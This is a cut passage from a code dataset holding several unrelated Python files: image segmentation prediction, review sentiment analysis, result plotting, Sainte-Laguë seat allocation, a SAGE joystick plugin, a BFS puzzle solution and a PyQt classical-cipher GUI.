'data/res/'\ninput_width = 416\ninput_height = 608\noutput_path = 'imgs_results/res7/'\nDataPath = 'data/'\n\nif n_classes == 7:\n colors = np.array([Building, Grass, Development, Concrete, Roads, NotAirplanes, Unlabelled])\nelif n_classes == 5:\n colors = np.array([Development, Grass, Concrete, Unlabelled, Building])\n\ngamma = 2.0\nalpha = 0.25\n\n\ndef focal_loss(y_true, y_pred):\n epsilon = K.epsilon()\n y_pred = K.clip(y_pred, epsilon, 1.0 - epsilon)\n cross_entropy = -y_true * K.log(y_pred)\n weight = -alpha * y_true * K.pow((1 - y_pred), gamma)\n loss = weight * cross_entropy\n loss = K.sum(loss, axis=1)\n return loss\n\n\ndef categorical_focal_loss(y_true, y_pred):\n focal = [0, 0, 0, 0, 0]\n for index in range(n_classes):\n focal = focal_loss(y_true[:, index, :], y_pred[:, index, :])\n return focal\n\n\ndef dice_coef(y_true, y_pred):\n smooth = 1e-7\n y_true_f = K.flatten(y_true)\n y_pred_f = K.flatten(y_pred)\n intersection = K.sum(y_true_f * y_pred_f)\n return (2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth)\n\n\ndef dice_coef_multilabel(y_true, y_pred):\n dice = [0, 0, 0, 0, 0]\n for index in range(n_classes):\n dice += dice_coef(y_true[:, index, :], y_pred[:, index, :])\n return dice\n\n\ndef visualize(temp):\n r = temp.copy()\n g = temp.copy()\n b = temp.copy()\n for l in range(0, n_classes - 1):\n r[temp == l] = colors[l, 0]\n g[temp == l] = colors[l, 1]\n b[temp == l] = colors[l, 2]\n\n rgb = np.zeros((temp.shape[0], temp.shape[1], 3))\n rgb[:, :, 0] = (r / 255.0)\n rgb[:, :, 1] = (g / 255.0)\n rgb[:, :, 2] = (b / 255.0)\n return rgb\n\n\ndef getImageArr(path, width, height, imgNorm=\"sub_mean\", odering='channels_first'):\n try:\n img = cv2.imread(path, 1)\n\n if imgNorm == \"sub_and_divide\":\n img = np.float32(cv2.resize(img, (width, height))) / 127.5 - 1\n elif imgNorm == \"sub_mean\":\n img = cv2.resize(img, (width, height))\n img = img.astype(np.float32)\n img[:, :, 0] -= 103.939\n img[:, :, 1] -= 116.779\n img[:, :, 2] -= 123.68\n elif imgNorm == \"divide\":\n img = cv2.resize(img, (width, height))\n img = img.astype(np.float32)\n img = img / 255.0\n\n if odering == 'channels_first':\n img = np.rollaxis(img, 2, 0)\n return img\n except (Exception):\n print(path)\n img = np.zeros((height, width, 3))\n if odering == 'channels_first':\n img = np.rollaxis(img, 2, 0)\n return img\n\n\ndef create_predict(images_path, output_path, input_height, input_width, save_weights_path, n_classes):\n set_keras_backend(\"theano\")\n\n m, output_width, output_height = VGGUnet(n_classes, vgg_level=3)\n m.load_weights(save_weights_path)\n\n m.compile(loss='categorical_crossentropy',\n optimizer='adadelta',\n metrics=['accuracy'])\n\n # m.compile(loss=dice_coef_multilabel,\n # optimizer='adadelta',\n # metrics=['accuracy'])\n\n # m.compile(loss=categorical_focal_loss, # 2.0 и 0.25 было\n # optimizer='adam',\n # metrics=['accuracy'])\n\n images = glob.glob(images_path + \"*.png\")\n images.sort()\n\n i = 0\n for imgName in images:\n\n outName = imgName.replace(images_path, output_path)\n X = getImageArr(imgName, input_height, input_width)\n pr = m.predict(np.array([X]))[0]\n print(pr[0])\n pr = pr.reshape((output_height, output_width, n_classes)).argmax(axis=2)\n seg_img = np.zeros((output_height, output_width, 3))\n for c in range(n_classes):\n seg_img[:, :, 0] += ((pr[:, :] == c) * (colors[c][0])).astype('uint8')\n seg_img[:, :, 1] += ((pr[:, :] == c) * (colors[c][1])).astype('uint8')\n seg_img[:, :, 2] += ((pr[:, :] == c) * (colors[c][2])).astype('uint8')\n cv2.imwrite(outName, seg_img)\n i += 1","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"38165014","text":"import pandas as pd\nimport re\nfrom textblob import TextBlob\nimport os\n\ndef del_word(x):\n s = (x.replace(\"透過行動裝置\", \"\").replace(\"[\", \"\").replace(\"]\", \"\").replace(\",\", \"\").replace(\"...More\", \"\")\n .replace(\"'\", \"\").strip()).replace(\"TripAdvisor 會員\", \"\")\n\n result = re.split('Date\\s+of\\s+experience\\W\\s\\w+\\s\\d+', s)\n result2 = re.split('Thank\\s+\\w+', \"\".join(result))\n return result2\n\n\n\n\npath = os.listdir(\"E:\\\\專題\\\\資料\\\\tripadvisor_English_1\")\n\n\n\n# print(path)\nfor i in path:\n print(i)\n df = pd.read_csv(\"E:\\\\專題\\\\資料\\\\tripadvisor_English_1\\\\\" + i , encoding=\"utf-8\")\n #\n #Data clear Comment\n # content = df[\"Comment\"]\n # comment = []\n # for j in content:\n # b = del_word(j)\n # comment.append(b)\n #\n # df = df.drop(columns=[\"Comment\"])\n # df[\"Comment\"] = comment\n #\n # # data clear Star\n # star = df[\"Comment_Star\"]\n # stars = []\n # for z in star:\n # a = z.replace(\"ui_bubble_rating bubble_\", \"\")\n # stars.append(a)\n #\n # df[\"Star\"] = stars\n # df = df.drop(columns=[\"Comment_Star\"])\n #\n #\n # # # Define pos&neg\n # # pos = ''\n # # neg = ''\n # # for w in range(df.shape[0]):\n # # if df.loc[w, \"Star\"] in [\"40\", \"50\"]:\n # # pos += (df.loc[w, 'Comment'][0] + '\\n')\n # # elif df.loc[w, \"Star\"] in [\"10\", \"20\"]:\n # # neg += (df.loc[w, 'Comment'][0] + '\\n')\n # #\n # #\n #\n # #\n # #Score\n # # print(i)\n # # text = pos\n # # blob = TextBlob(text)\n # # print(\"pos:\", len(pos), blob.sentiment)\n # #\n # # text = neg\n # # blob = TextBlob(text)\n # # print(\"neg:\", len(neg), blob.sentiment)\n #\n # print(i)\n # text = ''\n # for w in range(df.shape[0]):\n # text += (df.loc[w, 'Comment'][0] + '\\n')\n #\n # blob = TextBlob(text)\n # print(blob.sentiment[0])\n #\n #\n # df[\"Score\"] = blob.sentiment[0]\n # print(df)\n #\n #\n # # df.to_csv(\"E:/專題/景點爬蟲/tripadvisor/tripadvisor/情感分析/tripadvisor_English_2/\" + i , encoding=\"utf-8\")\n #\n #\n #\n # print(\"***************\")","sub_path":"NLP/textblob_2.py","file_name":"textblob_2.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"406061080","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[30]:\n\n\nimport pandas as pd\n\n\n# In[41]:\n\n\ndf = pd.read_csv('results_final_centering.csv', sep=';')\n\n\n# In[42]:\n\n\ndf.head(100)\n\n\n# In[43]:\n\n\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\n# In[44]:\n\n\nunprojected = df[df['thresh'] == 3.0]\nunprojected.head(20)\n\n\n# In[45]:\n\n\nall_models = unprojected['model'].values\nprint(all_models)\nprint(unprojected[unprojected['model'] == all_models[0]])\nacc_dict = {\n model: unprojected[unprojected['model'] == model]['accs'].values[0] for model in all_models\n}\nloss_dict = {\n model: unprojected[unprojected['model'] == model]['loss'].values[0] for model in all_models\n}\n\n\n# In[46]:\n\n\ndf['diff_acc'] = np.zeros(len(df))\ndf['diff_loss'] = np.zeros(len(df))\n\n\n# In[47]:\n\n\nfor model in all_models:\n df.loc[df['model'] == model,'diff_acc'] = df[df['model'] == model]['accs'] / acc_dict[model]\n df.loc[df['model'] == model, 'diff_loss'] = df[df['model'] == model]['loss'] / loss_dict[model] \n\n\n# In[48]:\n\n\ndf.head(10)\n\n\n# In[49]:\n\n\nbuckets = []\nmeans = []\nfor thresh in np.unique(df['thresh'].values):\n buckets.append(df.loc[df['thresh'] == thresh]['diff_acc'].values)\n means.append(np.mean(buckets[-1]))\nprint(np.asarray(buckets).shape)\nprint(buckets[0])\nprint(means)\n\n\n# In[50]:\n\n\nparams = {'backend': 'ps',\n# 'text.latex.preamble': [r'\\usepackage{gensymb}'],\n 'axes.labelsize': 14, # fontsize for x and y labels (was 10)\n 'axes.titlesize': 14,\n 'font.size': 10, # was 10\n 'legend.fontsize': 10, # was 10\n 'xtick.labelsize': 10,\n 'ytick.labelsize': 10,\n 'font.family': 'serif',\n}\nimport matplotlib\nmatplotlib.rcParams.update(params)\n\nplt.boxplot(buckets)\nplt.plot(list(range(1, len(means)+1)), means, label='mean')\nticks = np.append(np.around(np.unique(df['thresh'].values*100),1)[:-1], [100.0])\nticks = [tick+'%' for tick in ticks.astype(str)]\nprint(ticks)\nplt.xticks([1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16], ticks, rotation=90)\nplt.legend()\nplt.ylabel('Relative Performance (Accuracy)')\nplt.xlabel(\"\\u03B4\")\nplt.grid()\nplt.title('Relative Performance with Latent Space Projection')\nplt.savefig(\n f\"relative_performance_conv_projection.eps\",\n format=\"eps\",\n dpi=1000,\n bbox_inches=\"tight\",\n )\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"python/relative_performance_conv_projection.py","file_name":"relative_performance_conv_projection.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"211988382","text":"import json, csv, re, sys\n\n\n# votes is a list with all the initial votes\ndef sainte_lague(votes, limit):\n # aux is a list of lists that will store the current state\n aux = []\n s = 1\n maxis = []\n seats = []\n\n # Initialize the aux structure\n for vote in votes:\n aux.append([vote])\n seats.append(0)\n\n while(limit > 0):\n # The maximum values of a party are stored at the head of the list\n maxis = list(map(lambda x: x[0], aux))\n maximum = max(maxis)\n index = maxis.index(maximum)\n del aux[index][0]\n seats[index] += 1\n\n i = 0\n for vote in votes:\n aux[i].append(vote / (2*s + 1))\n i += 1\n\n s += 1\n limit -= 1\n \n return seats\n\nif __name__ == \"__main__\":\n votes = []\n nombres = []\n years = []\n with open(\"poblacion.csv\") as csvfile:\n poblacion = csv.reader(csvfile)\n for row in poblacion:\n if row[0] == \"\":\n for year in row[1:]:\n years.append(year)\n votes.append([])\n else:\n nombres.append(row[0])\n i = 1\n for aux in votes:\n aux.append(int(row[i]))\n i += 1\n\n i = 0\n csvfile = open(\"350-1.csv\", \"w\")\n writer = csv.writer(csvfile)\n for year in votes:\n seats = sainte_lague(year, 298)\n final = list(map(lambda x: x + 1, seats))\n if i == 0:\n writer.writerow([\"Year\"] + nombres)\n writer.writerow([years[i]] + final)\n i += 1\n csvfile.close()\n \n i = 0\n csvfile = open(\"350-2.csv\", \"w\")\n writer = csv.writer(csvfile)\n for year in votes:\n seats = sainte_lague(year, 248)\n final = list(map(lambda x: x + 2, seats))\n final[-1] -= 1\n final[-2] -= 1\n if i == 0:\n writer.writerow([\"Year\"] + nombres)\n writer.writerow([years[i]] + final)\n i += 1\n csvfile.close()\n\n i = 0\n csvfile = open(\"400-1.csv\", \"w\")\n writer = csv.writer(csvfile)\n for year in votes:\n seats = sainte_lague(year, 348)\n final = list(map(lambda x: x + 1, seats))\n if i == 0:\n writer.writerow([\"Year\"] + nombres)\n writer.writerow([years[i]] + final)\n i += 1\n csvfile.close()\n\n i = 0\n csvfile = open(\"400-2.csv\", \"w\")\n writer = csv.writer(csvfile)\n for year in votes:\n seats = sainte_lague(year, 298)\n final = list(map(lambda x: x + 2, seats))\n final[-1] -= 1\n final[-2] -= 1\n if i == 0:\n writer.writerow([\"Year\"] + nombres)\n writer.writerow([years[i]] + final)\n i += 1\n csvfile.close()\n","sub_path":"alternativas/circunscripciones/circunscripciones.py","file_name":"circunscripciones.py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"205413323","text":"############################################################################\r\n#\r\n# DIM - A Direct Interaction Manager for SAGE\r\n# Copyright (C) 2007 Electronic Visualization Laboratory,\r\n# University of Illinois at Chicago\r\n#\r\n# All rights reserved.\r\n# \r\n# Redistribution and use in source and binary forms, with or without\r\n# modification, are permitted provided that the following conditions are met:\r\n# \r\n# * Redistributions of source code must retain the above copyright\r\n# notice, this list of conditions and the following disclaimer.\r\n# * Redistributions in binary form must reproduce the above\r\n# copyright notice, this list of conditions and the following disclaimer\r\n# in the documentation and/or other materials provided with the distribution.\r\n# * Neither the name of the University of Illinois at Chicago nor\r\n# the names of its contributors may be used to endorse or promote\r\n# products derived from this software without specific prior written permission.\r\n# \r\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\r\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\r\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\r\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n#\r\n# Direct questions, comments etc about SAGE UI to www.evl.uic.edu/cavern/forum\r\n#\r\n# Author: Ratko Jagodic\r\n# \r\n############################################################################\r\n\r\n\r\n\r\n\r\nimport device\r\nfrom globals import *\r\n\r\n\r\ndef makeNew(deviceId):\r\n \"\"\" this is how we instantiate the device object from\r\n the main program that loads this plugin \"\"\"\r\n return Joystick(deviceId)\r\n\r\nUP_ARROW = 1\r\nDOWN_ARROW = 2\r\nLEFT_ARROW = 3\r\nRIGHT_ARROW = 4\r\n\r\n\r\nclass Joystick(device.Device):\r\n \r\n def __init__(self, deviceId):\r\n device.Device.__init__(self, \"joystick\", deviceId, True, displayId=0)\r\n isFake = deviceId.split(\"_\")[1].startswith('fake')\r\n self.isWiimote = deviceId.split(\"_\")[1].startswith('wiimote')\r\n \r\n if isFake:\r\n self.joyToMouseRatio = 600\r\n else:\r\n self.joyToMouseRatio = 40\r\n self.displayFactor = 1\r\n \r\n # current state of the device\r\n self.buttons = [False, False, False] # left, right, middle\r\n self.x = 100 # position in SAGE coords\r\n self.y = 100 # position in SAGE coords\r\n self.clickX = 0 # where the click happened \r\n self.clickY = 0 # where the click happened\r\n\r\n \r\n\r\n def onMessage(self, data, firstMsg=False):\r\n tokens = data.strip().split()\r\n msgCode = tokens[0]\r\n \r\n # move\r\n if msgCode == \"1\":\r\n \r\n # the axis information\r\n xAxis = float(tokens[1])\r\n yAxis = float(tokens[2])\r\n\r\n # determine x, y, dX, dY\r\n (dX, dY) = self.__toSAGEPos(xAxis, yAxis)\r\n \r\n # fire the appropriate event\r\n if self.buttons[0]: # analog1, pan\r\n self.postEvtAnalog1(self.clickX, self.clickY, dX, dY, 0)\r\n\r\n elif self.buttons[1]: # analog2, rotate\r\n self.postEvtAnalog3(self.clickX, self.clickY, dX, dY, 0)\r\n \r\n elif self.buttons[2]: # analog3, zoom\r\n self.postEvtAnalog2(self.clickX, self.clickY, dX, dY, 0)\r\n\r\n else: # move\r\n self.postEvtMove(self.x, self.y, dX, dY)\r\n \r\n\r\n # move the pointer\r\n if self.pointer: self.pointer.movePointer(self.x, self.y)\r\n \r\n\r\n # button press\r\n elif msgCode == \"2\": # button press\r\n btnId = int(tokens[1])\r\n isDown = bool(int(tokens[2]))\r\n \r\n # apply the state change if it's a valid buttonId\r\n if btnId <= len(self.buttons):\r\n forEvt = 0\r\n if btnId == 0: forEvt = 31000+EVT_PAN\r\n elif btnId == 1: forEvt = 31000+EVT_ROTATE\r\n elif btnId == 2: forEvt = 31000+EVT_ZOOM\r\n self.buttons[btnId-1] = isDown\r\n self.postEvtClick(self.x, self.y, btnId, isDown, forEvt)\r\n self.clickX, self.clickY = self.x, self.y\r\n \r\n\r\n elif msgCode == \"3\": # arrow\r\n pov = int(tokens[1])\r\n\r\n arrow = -1\r\n if pov == 0:\r\n arrow = UP_ARROW\r\n elif pov == 9000:\r\n arrow = RIGHT_ARROW\r\n elif pov == 18000:\r\n arrow = DOWN_ARROW\r\n elif pov == 27000:\r\n arrow = LEFT_ARROW\r\n \r\n if arrow > -1:\r\n self.postEvtArrow(arrow, self.x, self.y)\r\n \r\n\r\n def __toSAGEPos(self, xAxis, yAxis):\r\n \r\n if self.isWiimote:\r\n # wiimote is directly mapped to the whole display\r\n halfWidth = self.bounds.getWidth()/2.0\r\n halfHeight = self.bounds.getHeight()/2.0\r\n newX = int( halfWidth + halfWidth*xAxis)\r\n newY = int( halfHeight + halfHeight*yAxis)\r\n dX = newX - self.x\r\n dY = newY - self.y\r\n else:\r\n dX = int(xAxis * self.joyToMouseRatio * self.displayFactor)\r\n dY = int(yAxis * self.joyToMouseRatio * self.displayFactor) * (-1) # -1 for reverse\r\n\r\n # make sure the pointer is within display bounds\r\n # check left and right (x)\r\n if (self.x + dX) > self.bounds.right:\r\n dX = self.bounds.right - self.x\r\n elif (self.x + dX) < self.bounds.left:\r\n dX = -self.x\r\n\r\n # check top and bottom (y)\r\n if (self.y + dY) > self.bounds.top:\r\n dY = self.bounds.top - self.y\r\n elif (self.y + dY) < self.bounds.bottom:\r\n dY = -self.y\r\n\r\n # update the position\r\n self.x += dX\r\n self.y += dY\r\n\r\n return dX, dY\r\n \r\n \r\n","sub_path":"dim/devices/joystick.py","file_name":"joystick.py","file_ext":"py","file_size_in_byte":6506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"214210543","text":"# 1697 백준\r\n\r\nfrom collections import deque\r\n\r\narr_limit = 100001 # 점이 한계 거리?\r\nN, K = map(int, input().split()) # 수빈이가 있는 위치 N, 동생이 있는 위치 K 입력\r\n\r\narr = [0] * arr_limit # 1차원 배열 생성\r\n\r\n\"\"\"\r\n넓이 우선 탐색을 사용해서 수빈이가 이동하는 거리마다\r\n동생을 찾을 수 있는 가장 빠른 거리를 함수로 나타냄\r\n\"\"\"\r\ndef BFS(arr, N, K):\r\n queue = deque() # 큐 생성\r\n queue.append(N) # 큐에 수빈이가 있는 현재위치를 추가\r\n \r\n # 큐가 있는 동안 반복\r\n while queue:\r\n x = queue.popleft() # 현재 위치를 pop\r\n \r\n # 현재 있는 위치가 동생이 있는 위치이면\r\n if x == K: \r\n return (arr[x]) # 현재 위치에 있는 인덱스를 반환함\r\n \r\n # for문으로 이동할 수 있는 조건을 나타냄\r\n for i in (x+1, x-1, 2*x):\r\n if (0 <= i < arr_limit) and arr[i] == 0: # 위의 조건을 만족하면\r\n arr[i] = arr[x] + 1 # 이동한 거리 += 1초\r\n queue.append(i)\r\n \r\nprint(BFS(arr, N, K))","sub_path":"BFS/숨바꼭질.py","file_name":"숨바꼭질.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"608745859","text":"import sys\nimport json\nfrom PyQt5 import QtWidgets, QtTest\nfrom PyQt5.Qt import QApplication, QClipboard, QFileDialog\nfrom design import design\nfrom design.popup.about_jet import Ui_popup_about_jet\nfrom design.popup.encryptTXT import Ui_encryptTXT\nfrom design.popup.pgen import Ui_pgen\nfrom methods.morse import *\nfrom methods.caesar import *\nfrom methods.vigenere import *\nfrom methods.substitution import *\n\nto_encrypt = (\"\")\nto_decrypt = (\"\")\nencryption_key = (\"\")\nsave_encryption_method = (\"\")\n\nclass ExampleApp(QtWidgets.QMainWindow, design.Ui_MainWindow):\n def crypt(self):\n caesar_radio = self.radioButton_2.isChecked()\n morse_radio = self.radioButton.isChecked()\n vigenere_radio = self.radioButton_3.isChecked()\n substitution_radio = self.radioButton_4.isChecked()\n if caesar_radio + morse_radio + vigenere_radio + substitution_radio == 0:\n self.textEdit_2.setText(\"Choose an encryption metod\")\n QtTest.QTest.qWait(1000)\n self.textEdit_2.setText(\"\")\n empty_check = self.textEdit.toPlainText()\n def empty_check_true():\n self.textEdit_2.setText(\"The text field is empty\")\n QtTest.QTest.qWait(1000)\n self.textEdit_2.setText(\"\")\n if caesar_radio == True:\n if empty_check == \"\":\n empty_check_true()\n else:\n global to_encrypt\n to_encrypt = self.textEdit.toPlainText()\n caesar_crypt()\n from methods.caesar import encrypted_text\n self.textEdit_2.setText(encrypted_text)\n if morse_radio == True:\n if empty_check == \"\":\n empty_check_true()\n else:\n to_encrypt = self.textEdit.toPlainText()\n morse_crypt()\n from methods.morse import encrypted_text\n self.textEdit_2.setText(encrypted_text)\n if vigenere_radio == True:\n if empty_check == \"\":\n empty_check_true()\n else:\n to_encrypt = self.textEdit.toPlainText()\n vigenere_crypt()\n from methods.vigenere import encrypted_text,encryption_key\n self.textEdit_2.setText(encrypted_text)\n self.lineEdit.setText(encryption_key)\n if substitution_radio == True:\n if empty_check == \"\":\n empty_check_true()\n else:\n to_encrypt = self.textEdit.toPlainText().upper()\n substitution_crypt()\n from methods.substitution import encrypted_text\n self.textEdit_2.setText(encrypted_text) \n self.textEdit.setText(\"\") \n def decrypt(self):\n caesar_radio = self.radioButton_2.isChecked()\n morse_radio = self.radioButton.isChecked()\n vigenere_radio = self.radioButton_3.isChecked()\n substitution_radio = self.radioButton_4.isChecked()\n if caesar_radio + morse_radio + vigenere_radio + substitution_radio == 0:\n self.textEdit_2.setText(\"Choose an encryption metod\")\n QtTest.QTest.qWait(1000)\n self.textEdit_2.setText(\"\")\n empty_check = self.textEdit.toPlainText()\n def empty_check_true():\n self.textEdit_2.setText(\"The text field is empty\")\n QtTest.QTest.qWait(1000)\n self.textEdit_2.setText(\"\")\n if caesar_radio == True:\n if empty_check == \"\":\n empty_check_true()\n else:\n global to_decrypt\n to_decrypt = self.textEdit.toPlainText()\n caesar_decrypt()\n from methods.caesar import decrypted_text\n self.textEdit_2.setText(decrypted_text)\n if morse_radio == True:\n if empty_check == \"\":\n empty_check_true()\n else:\n to_decrypt = self.textEdit.toPlainText()\n morse_decrypt()\n from methods.morse import decrypted_text\n self.textEdit_2.setText(decrypted_text)\n if vigenere_radio == True:\n if empty_check == \"\":\n empty_check_true()\n else:\n to_decrypt = self.textEdit.toPlainText()\n global encryption_key\n encryption_key = self.lineEdit.text()\n vigenere_decrypt()\n from methods.vigenere import decrypted_text\n self.textEdit_2.setText(str(decrypted_text))\n if substitution_radio == True:\n if empty_check == \"\":\n empty_check_true()\n else:\n to_decrypt = self.textEdit.toPlainText().upper()\n substitution_decrypt()\n from methods.substitution import decrypted_text\n self.textEdit_2.setText(decrypted_text) \n self.textEdit.setText(\"\")\n self.lineEdit.setText(\"\")\n def clear_encryption_key(self):\n self.lineEdit.setText(\"\")\n def copy_encryption_key(self):\n copy_key = self.lineEdit.text()\n QApplication.clipboard().setText(copy_key)\n self.pushButton_3.setStyleSheet(\"background-color:#E75917;\")\n self.pushButton_3.setText(\"COPIED\")\n QtTest.QTest.qWait(1000)\n self.pushButton_3.setStyleSheet(\"background-color:#5858FA;\")\n self.pushButton_3.setText(\"COPY\")\n def show_vigenere_keys(self):\n self.lineEdit.show()\n self.pushButton_3.show()\n self.label.show()\n def hide_vigenere_keys(self):\n self.lineEdit.hide()\n self.pushButton_3.hide()\n self.label.hide()\n def on_click_radioButton(self):\n caesar_radio = self.radioButton_2.isChecked()\n morse_radio = self.radioButton.isChecked()\n vigenere_radio = self.radioButton_3.isChecked()\n if self.radioButton.isChecked() == True:\n self.hide_vigenere_keys()\n global save_encryption_method\n save_encryption_method = \"morse\"\n if self.radioButton_2.isChecked() == True:\n self.hide_vigenere_keys()\n save_encryption_method = \"caesar\"\n if self.radioButton_3.isChecked() == True:\n save_encryption_method = \"vigenere\"\n self.show_vigenere_keys()\n if self.radioButton_4.isChecked() == True:\n save_encryption_method = \"substitution\"\n self.hide_vigenere_keys()\n def open_about_jet(self):\n self.window = QtWidgets.QMainWindow()\n self.ui = Ui_popup_about_jet()\n self.ui.setupUi(self.window)\n self.window.show()\n def save_message2(self):\n file_name = self.lineEdit_2.text()\n file_name2 = (\"saves/\"+file_name+\".txt\")\n print(file_name2)\n with open(file_name2, 'w') as outfile:\n to_save = self.textEdit_2.toPlainText()\n encryption_key_save = self.lineEdit.text()\n data = {}\n data['encrypted_message'] = []\n if save_encryption_method == 'vigenere':\n data['encrypted_message'].append({\n 'message': to_save,\n 'encryption_method': save_encryption_method,\n 'encryption_key': encryption_key_save\n })\n else: \n data['encrypted_message'].append({\n 'message': to_save,\n 'encryption_method': save_encryption_method\n })\n json.dump(data, outfile)\n self.check_save_message1 = \"False\"\n self.label_2.hide()\n self.lineEdit_2.hide()\n self.pushButton_4.hide()\n self.pushButton_5.setStyleSheet(\"\")\n self.label_4.show()\n QtTest.QTest.qWait(3000)\n self.label_4.hide()\n def save_message(self):\n check_save_message2 = self.check_save_message1\n check_save_message3 = self.check_save_message4\n if check_save_message2 == \"False\":\n if check_save_message3 == \"True\":\n self.check_save_message4 = \"False\"\n self.pushButton_6.setStyleSheet(\"\")\n self.toolButton.hide()\n self.lineEdit_3.hide()\n self.pushButton_7.hide()\n self.check_save_message1 = \"True\"\n self.label_2.show()\n self.lineEdit_2.show()\n \n self.pushButton_4.show()\n self.pushButton_5.setStyleSheet(\"background-color:#38A1CB\")\n if check_save_message2 == \"True\":\n self.check_save_message1 = \"False\"\n self.label_2.hide()\n self.lineEdit_2.hide()\n self.pushButton_4.hide()\n self.pushButton_5.setStyleSheet(\"\")\n def load_message(self):\n check_save_message3 = self.check_save_message4\n check_save_message2 = self.check_save_message1\n if check_save_message3 == \"False\":\n if check_save_message2 == \"True\":\n self.check_save_message1 = \"False\"\n self.label_2.hide()\n self.lineEdit_2.hide()\n self.pushButton_4.hide()\n self.pushButton_5.setStyleSheet(\"\")\n self.check_save_message4 = \"True\"\n self.pushButton_6.setStyleSheet(\"background-color:#38A1CB\")\n self.toolButton.show()\n self.lineEdit_3.show()\n self.pushButton_7.show()\n if check_save_message3 == \"True\":\n self.check_save_message4 = \"False\"\n self.pushButton_6.setStyleSheet(\"\")\n self.toolButton.hide()\n self.lineEdit_3.hide()\n self.pushButton_7.hide()\n def choose_a_file_to_load(self):\n file_to_load1 = QFileDialog.getOpenFileName()[0]\n file_to_load2 = str(file_to_load1)\n self.lineEdit_3.setText(file_to_load2)\n def load_the_file(self):\n file_to_load = self.lineEdit_3.text()\n with open(file_to_load) as json_file:\n data = json.load(json_file)\n for p in data['encrypted_message']:\n print('Message: ' + p['message'])\n print('Encryption Method: ' + p['encryption_method'])\n print('')\n global to_decrypt\n to_decrypt = (p['message'])\n if p['encryption_method'] == 'caesar':\n caesar_decrypt()\n from methods.caesar import decrypted_text\n if p['encryption_method'] == 'morse':\n morse_decrypt()\n from methods.morse import decrypted_text\n if p['encryption_method'] == 'vigenere':\n global encryption_key\n encryption_key = p['encryption_key']\n vigenere_decrypt()\n from methods.vigenere import decrypted_text\n if p['encryption_method'] == 'substitution':\n substitution_decrypt()\n from methods.substitution import decrypted_text\n self.textEdit_2.setText(decrypted_text)\n self.check_save_message4 = \"False\"\n self.pushButton_6.setStyleSheet(\"\")\n self.toolButton.hide()\n self.lineEdit_3.hide()\n self.pushButton_7.hide()\n self.label_3.show()\n QtTest.QTest.qWait(3000)\n self.label_3.hide()\n def open_encrypt_txt(self):\n window1.hide()\n height = self.geometry().y()\n height2 = (height-30)\n self.window4 = QtWidgets.QMainWindow()\n global window4_global\n window4_global = self.window4\n self.ui = Ui_encryptTXT()\n self.ui.setupUi(self.window4)\n self.window4.show()\n self.window4.move(self.geometry().x(), self.geometry().y())\n def open_pgen(self):\n window1.hide()\n height = self.geometry().y()\n height2 = (height-30)\n self.window5 = QtWidgets.QMainWindow()\n global window5_global\n window5_global = self.window5\n self.ui = Ui_pgen()\n self.ui.setupUi(self.window5)\n self.window5.show()\n self.window5.move(self.geometry().x(), self.geometry().y())\n def __init__(self):\n # Это здесь нужно для доступа к переменным, методам\n # и т.д. в файле design.py\n super().__init__()\n self.setupUi(self) # Это нужно для инициализации нашего дизайна\n self.pushButton.clicked.connect(self.crypt)\n self.pushButton_2.clicked.connect(self.decrypt)\n self.pushButton_3.clicked.connect(self.copy_encryption_key)\n self.pushButton_4.clicked.connect(self.save_message2)\n self.pushButton_5.clicked.connect(self.save_message)\n self.pushButton_6.clicked.connect(self.load_message)\n self.radioButton.toggled.connect(self.on_click_radioButton)\n self.radioButton_2.toggled.connect(self.on_click_radioButton)\n self.radioButton_3.toggled.connect(self.on_click_radioButton)\n self.radioButton_4.toggled.connect(self.on_click_radioButton)\n self.toolButton.clicked.connect(self.choose_a_file_to_load)\n self.pushButton_7.clicked.connect(self.load_the_file)\n self.actionAbout_JET.triggered.connect(self.open_about_jet)\n self.actionEncryptTXT.triggered.connect(self.open_encrypt_txt)\n self.actionPGEN.triggered.connect(self.open_pgen)\n #hide and show stuff\n self.lineEdit.hide()\n self.lineEdit_2.hide()\n self.pushButton_3.hide()\n self.pushButton_7.hide()\n self.lineEdit_3.hide()\n self.label.hide()\n self.label_2.hide()\n self.label_3.hide()\n self.label_3.setStyleSheet(\"color:#0B610B;\")\n self.label_4.hide()\n self.label_4.setStyleSheet(\"color:#0B610B;\")\n self.toolButton.hide()\n self.pushButton_3.setStyleSheet(\"background-color:#5858FA;\")\n 